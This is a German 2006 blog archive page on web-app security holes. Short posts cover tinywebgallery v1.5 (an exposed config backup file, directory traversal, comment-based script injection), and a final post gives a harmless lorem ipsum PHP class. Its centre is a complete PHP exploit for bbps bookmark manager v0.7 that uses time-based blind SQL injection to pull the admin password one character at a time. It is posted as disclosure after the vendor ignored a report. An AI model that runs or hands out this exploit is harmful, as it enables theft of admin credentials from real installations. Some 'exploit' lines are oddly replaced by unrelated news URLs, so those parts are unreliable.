tinywebgallery-v1.5 weitere fehler und exploits

August 29th, 2006 by admin

1. wenn eine neue configuration gespeichert wir, wir automatisch eine backupdatei angelegt.

und schon kann man auf eine alte backupdatei zugreifen.
http://domain.com/twg15/admin/my_config.php.bak

2. TWG Configuration -> sollte man auf die idee kommen z.b. im login password ein ” zu benutzen warnt das script das dieses zeichen die konfiguration zerstört und speichert gleich danach die fehlerhafte konfiguration ab.

der “normale” user bekommt ab dann nur noch

Parse error: parse error, unexpected T_STRING in … my_config.php on line …

und er muß das ganze script neu installieren.

3. passwörter in der my_config.php datei werden nicht als hashwert gespeichert (siehe .htusers.php). das ist an sich kein fehler aber unsicher.

Posted in coding, exploit, php | 1 Comment »

tinywebgallery v1.5 - directory traversal exploit

August 28th, 2006 by admin

es geht weiter mit tinywebgallery ,noch mehr exploits:

CODE:
  1. http://www.heise.de/security/news/meldung/94190

und schon hat man alles was im root directory liegt vor den augen.

sicherheit ist was anderes. -> da ist auf alle fälle der nächste patch nötig

Posted in coding, exploit, php | 1 Comment »

tinywebgallery v1.5 javascript / html injection

August 28th, 2006 by admin

tinywebgallery ist eine wunderschönes php script mit dem man alle seine bilder in gallerien verwalten kann.

es ist keine großartige installation nötig und das beste -> es läuft ohne mysql.

es gibt nur ein problem. in der neuesten version (1.5.0.2 17.08.2006) kann man über ein kommentar sehr leicht javascript code in die seite einfügen.

exploit:

1. gallery aussuchen

2. bild aussuchen

3. kommentar schreiben und einfach js-code einfügen z.b. http://www.heise.de/newsticker/meldung/94357

da ich das script nicht schlecht finde habe ich gleich mal in einem kommentar den entwicklern bescheid gegeben. ich hoffe mal das das bei der nächsten version behoben ist.

edit: natürlich ist es auch möglich html code einzufügen. es können also ohne probleme spam iframes oder andere lustige sachen geladen werden.

->>>> EIN PATCH IST EIN MUß!!!

Posted in coding, exploit, php | 5 Comments »

bbps bookmark manager v0.7 - sql injection exploit

August 19th, 2006 by admin

schon am 23. mai hab ich die entwickler von bbps darauf hingewiesen das sql injections im script möglich sind. da sich bis jetzt nix getan hat -> hier das exploit welches das adminpasswort auslesen kann.

PHP:
  1. /*
  2. bbps bookmark manager v0.7 - sql injection
  3. homepage http://bbps.sourceforge.net/
  4. demopage http://bbps.sourceforge.net/demo
  5. download http://prdownloads.sourceforge.net/bbps/bbps-0.7.tar.gz
  6. */
  7.  
  8. ini_set('max_execution_time',300);
  9.  
  10. class http_request
  11. {
  12. var $data = Array();
  13. function __construct($type,$host,$file,$port = 80,$http_v = 'HTTP/1.1')
  14. {
  15. $this->host = $host;
  16. $this->port = $port;
  17. if(!$this->set_type($type))
  18. die('sorry: please set a request type');
  19. $this->file = $file;
  20. $this->http_v = $http_v;
  21. $this->add_header('Host',$host);
  22. $this->add_header('Connection','Close');
  23. }
  24.  
  25. function proxy($host,$port)
  26. {
  27. $this->con = @$this->connect($host,$port);
  28. if(!$this->con)
  29. die('sorry: the proxy on host "'.$host.'" did not response on port '.$port);
  30. $this->proxy_con = true;
  31. }
  32.  
  33. function connect($host,$port)
  34. {
  35. if(!is_numeric($port))
  36. die('sorry: but this is not a port');
  37. preg_match('@^(?:(?:25[0-5]|2[0-4]\d|[01]\d\d|\d?\d)(?(?=\.?\d)\.)){4}$@i', $host, $ip);
  38. if($ip[0]!='')
  39. return fsockopen($host,$port);
  40. else
  41. return fsockopen(gethostbyname($host),$port);
  42. }
  43.  
  44. function send($set_ct = true)
  45. {
  46. if($set_ct==true)
  47. $this->set_content_type();
  48. if($this->proxy_con != true)
  49. {
  50. $this->con = @$this->connect($this->host,$this->port);
  51. if(!$this->con)
  52. die('sorry: "'.$this->host.'" did not response on port '.$this->port);
  53. }
  54.  
  55. $this->send_data = '';
  56. $contentlength = 0;
  57.  
  58. if($this->type=='GET')
  59. {
  60. $get_str='';
  61. foreach($this->data as $name => $value)
  62. {
  63. $get_str .=  $name.'='.$value.'&';
  64. }
  65. if($get_str !='')
  66. $this->get_str ='?'.substr($get_str,0,-1);
  67. }
  68. else //// all other request types (POST, CONNECT ...)
  69. {
  70. $this->send_data ='';
  71. if($this->boundary)
  72. {
  73. foreach($this->data as $name => $value)
  74. {
  75. $contentlength += strlen("--".$this->boundary."\nContent-Disposition: form-data; name=\"".$name."\"\n\n".$value."\n");
  76. $this->send_data.=("--".$this->boundary."\nContent-Disposition: form-data; name=\"".$name."\"\n\n".$value."\n");
  77. }
  78. $contentlength += strlen($this->boundary)+3;
  79. $this->add_header('Content-length',$contentlength);
  80. $this->send_data.= "--".$this->boundary."--\n";
  81. }
  82. else
  83. {
  84. foreach($this->data as $name => $value)
  85. {
  86. $this->send_data.= $name.'='.$value.'&';
  87. }
  88. $this->send_data = substr($this->send_data,0,-1);
  89. $contentlength = strlen($this->send_data);
  90. $this->add_header('Content-length',$contentlength);
  91. }
  92. }
  93. if($this->proxy_con==true)
  94. $this->send_header = $this->type.' '.'http://'.$this->host.$this->file.$this->get_str.' '.$this->http_v."\r\n";
  95. else
  96. $this->send_header = $this->type.' '.$this->file.$this->get_str.' '.$this->http_v."\r\n";
  97. foreach($this->header as $head_name => $head_value)
  98. $this->send_header .= $head_name.': '.$head_value."\r\n";
  99. $this->send_header .= "\n";
  100. $this->packet = $this->send_header.$this->send_data;
  101. $this->send_to_host($this->packet);
  102. }
  103.  
  104. function send_to_host($packet)
  105. {
  106. if(get_resource_type($this->con)!='stream')
  107. die('sorry: no connection');
  108. fputs($this->con,$packet);
  109. if($this->proxy_con==true)
  110. {
  111. $this->response='';
  112. while (!feof($this->con)) {
  113. $this->response.=fgets($this->con);
  114. }
  115. }
  116. else
  117. {
  118. $this->response='';
  119. while ((!feof($this->con)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$this->response))) {
  120. $this->response.=fread($this->con,1);
  121. }
  122. }
  123. fclose($this->con);
  124. }
  125.  
  126. function set_content_type()
  127. {
  128. if($this->type!='GET')
  129. $this->add_header('Content-Type','application/x-www-form-urlencoded');
  130. }
  131.  
  132. function set_type($name)
  133. {
  134. $name = strtoupper($name);
  135. $types = array('GET','HEAD','POST','PUT','DELETE','TRACE','CONNECT');
  136. if( in_array($name,$types) )
  137. {
  138. $this->type = $name;
  139. return true;
  140. }
  141. else
  142. {
  143. return false;
  144. }
  145. }
  146.  
  147. function add_data($name,$value)
  148. {
  149. $this->data[$name] = $value;
  150. }
  151.  
  152. function add_header($name,$value)
  153. {
  154. $this->header[$name]=$value;
  155. }
  156. }
  157.  
  158. function max_arr($arr)
  159. {
  160. $max = 0;
  161. foreach($arr as $time)
  162. {
  163. $max = max($max,$time);
  164. }
  165. return $max;
  166. }
  167.  
  168. function avg_arr($arr)
  169. {
  170. $size = sizeof($arr);
  171. $sum = 0;
  172. foreach($arr as $time)
  173. {
  174. $sum +=$time;
  175. }
  176. return ($sum/$size);
  177. }
  178.  
  179. function do_it($host=127.0.0.1,$file='/macosbrain/index.php',$time_diff=4,$benchmark_loops = 999999,$debug=false)
  180. {
  181. $req = new http_request('GET',$host,$file);
  182. $req->add_header('Accept','text/plain');
  183. $req->add_header('User-Agent','Firefox/1.5.0.0');
  184. $req->add_header('Referer','http://'.$host);
  185. $req->add_header('Accept-Charset','ISO-8859-1,utf-8;q=0.7,*;q=0.7');
  186. $req->add_data('action','list_byid');
  187. $pass = '';
  188. $stop = false;
  189. while($stop==false){
  190. $times_arr = array();
  191. $chars_arr = array();
  192. for($i=97;$i <122;$i++) //A=65, a=97    Z=90, z=122
  193. {
  194. $req->add_data('key_id',rawurlencode("10) GROUP BY bbps_rel_bookmark_id union select bbps_admin_keyword_value as bbps_bookmark_id, 123,123,123,1,190806,1,0,190806,0 from bbps_admin where bbps_admin_keyword = CHAR(112,97,115,115,119,111,114,100) and if(mid(bbps_admin.bbps_admin_keyword_value,".(strlen($pass)+1).",1)=char(".$i."),BENCHMARK(".$benchmark_loops.",md5(123)),1)--"));
  195. $mtime = explode(' ', microtime());
  196. $starttime = $mtime[1] + $mtime[0];
  197. $req->send();
  198. $mtime = explode(' ', microtime());
  199. $totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);
  200. $times_arr[] = $totaltime;
  201. $chars_arr[$totaltime] = chr($i);
  202. if($debug==true)
  203. echo chr($i).' Processed in '.$totaltime.' second(s)
  204. ';
  205. }
  206. $max = max_arr($times_arr);
  207. if(avg_arr($times_arr)+$time_diff <$max)
  208. {
  209. $pass .= $chars_arr[$max];
  210. if($debug==true)
  211. echo('temp pass = '.$pass.'
  212. -----------------next char-----------------
  213. ');
  214. }
  215. else
  216. $stop = true;
  217. }
  218. echo('possible admin password = '.$pass);
  219. }
  220. do_it();

ANMERKUNG: um das problem zu beheben ist definitiv eine neue version bzw. ein update nötig da das script an vielen stellen löcher hat die für sql injection ausgenutzt werden können.

Posted in misc | 1 Comment »

lorem ipsum generator class for php

August 18th, 2006 by admin

mit der klasse kann schnell und einfach massig text erstellt werden.

solch ein blindtext kann sehr nützlich sein wenn man daten generieren möchte die wie text aussehen sollen.
das erstellen ist ganz einfach, ein objekt der klasse erstellen und die methode "get_li" mit der anzahl der wörter aufrufen und schon bekommt man ein schicken lorem ipsum text zurück.

anmerkung: der text und auch das erste wort werden zufällig ausgewählt. ebenfalls wird wieder vom anfang des textes begonnen wenn der text nicht genügent worte hat.

PHP:
  1. class lorem_ipsum
  2. {
  3. //text source: http://www.subterrane.com/loremipsum.shtml (js)
  4. var $li = Array('Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.',
  5. 'Duis autem vel eum iriure dolor in hendrerit in vulputate velit esse molestie consequat, vel illum dolore eu feugiat nulla facilisis at vero eros et accumsan et iusto odio dignissim qui blandit praesent luptatum zzril delenit augue duis dolore te feugait nulla facilisi. Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat.',
  6. 'Ut wisi enim ad minim veniam, quis nostrud exerci tation ullamcorper suscipit lobortis nisl ut aliquip ex ea commodo consequat. Duis autem vel eum iriure dolor in hendrerit in vulputate velit esse molestie consequat, vel illum dolore eu feugiat nulla facilisis at vero eros et accumsan et iusto odio dignissim qui blandit praesent luptatum zzril delenit augue duis dolore te feugait nulla facilisi.',
  7. 'Nam liber tempor cum soluta nobis eleifend option congue nihil imperdiet doming id quod mazim placerat facer possim assum. Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat. Ut wisi enim ad minim veniam, quis nostrud exerci tation ullamcorper suscipit lobortis nisl ut aliquip ex ea commodo consequat.',
  8. 'Duis autem vel eum iriure dolor in hendrerit in vulputate velit esse molestie consequat, vel illum dolore eu feugiat nulla facilisis.',
  9. 'At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, At accusam aliquyam diam diam dolore dolores duo eirmod eos erat, et nonumy sed tempor et et invidunt justo labore Stet clita ea et gubergren, kasd magna no rebum. sanctus sea sed takimata ut vero voluptua. est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat.',
  10. 'Consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus.',
  11. 'Epsum factorial non deposit quid pro quo hic escorol. Olypian quarrels et gorilla congolium sic ad nauseum. Souvlaki ignitus carborundum e pluribus unum. Defacto lingo est igpay atinlay. Marquee selectus non provisio incongruous feline nolo contendre. Gratuitous octopus niacin, sodium glutimate. Quote meon an estimate et non interruptus stadium.',
  12. 'Sic tempus fugit esperanto hiccup estrogen. Glorious baklava ex librus hup hey ad infinitum. Non sequitur condominium facile et geranium incognito. Epsum factorial non deposit quid pro quo hic escorol. Marquee selectus non provisio incongruous feline nolo contendre Olypian quarrels et gorilla congolium sic ad nauseum. Souvlaki ignitus carborundum e pluribus unum.',
  13. 'Defacto lingo est igpay atinlay. Marquee selectus non provisio incongruous feline nolo contendre. Gratuitous octopus niacin, sodium glutimate. Quote meon an estimate et non interruptus stadium. Sic tempus fugit esperanto hiccup estrogen. Glorious baklava ex librus hup hey ad infinitum. Non sequitur condominium facile et geranium incognito. Epsum factorial non deposit quid pro quo hic escorol. Olypian quarrels et gorilla congolium sic ad nauseum. Souvlaki ignitus carborundum e pluribus unum. Defacto lingo est igpay atinlay. Gratuitous octopus niacin, sodium glutimate.',
  14. 'Quote meon an estimate et non interruptus stadium. Sic tempus fugit esperanto hiccup estrogen. Glorious baklava ex librus hup hey ad infinitum. Non sequitur condominium facile et geranium incognito.');
  15.  
  16. function get_li($words)
  17. {
  18. $max = sizeof($this->li);
  19. $rand_li = rand(0,$max-1);
  20. $li_arr = explode(' ',$this->li[$rand_li]);
  21. $ret = '';
  22. for($i=0,$counter=rand(0,sizeof($li_arr)-1);$i <$words; $i++,$counter++)
  23. {
  24. if($counter>= sizeof($li_arr))
  25. $counter=0;
  26. $ret .= $li_arr[$counter].' ';
  27. }
  28. return substr($ret,0,-1);
  29. }
  30. }

Posted in misc | No Comments »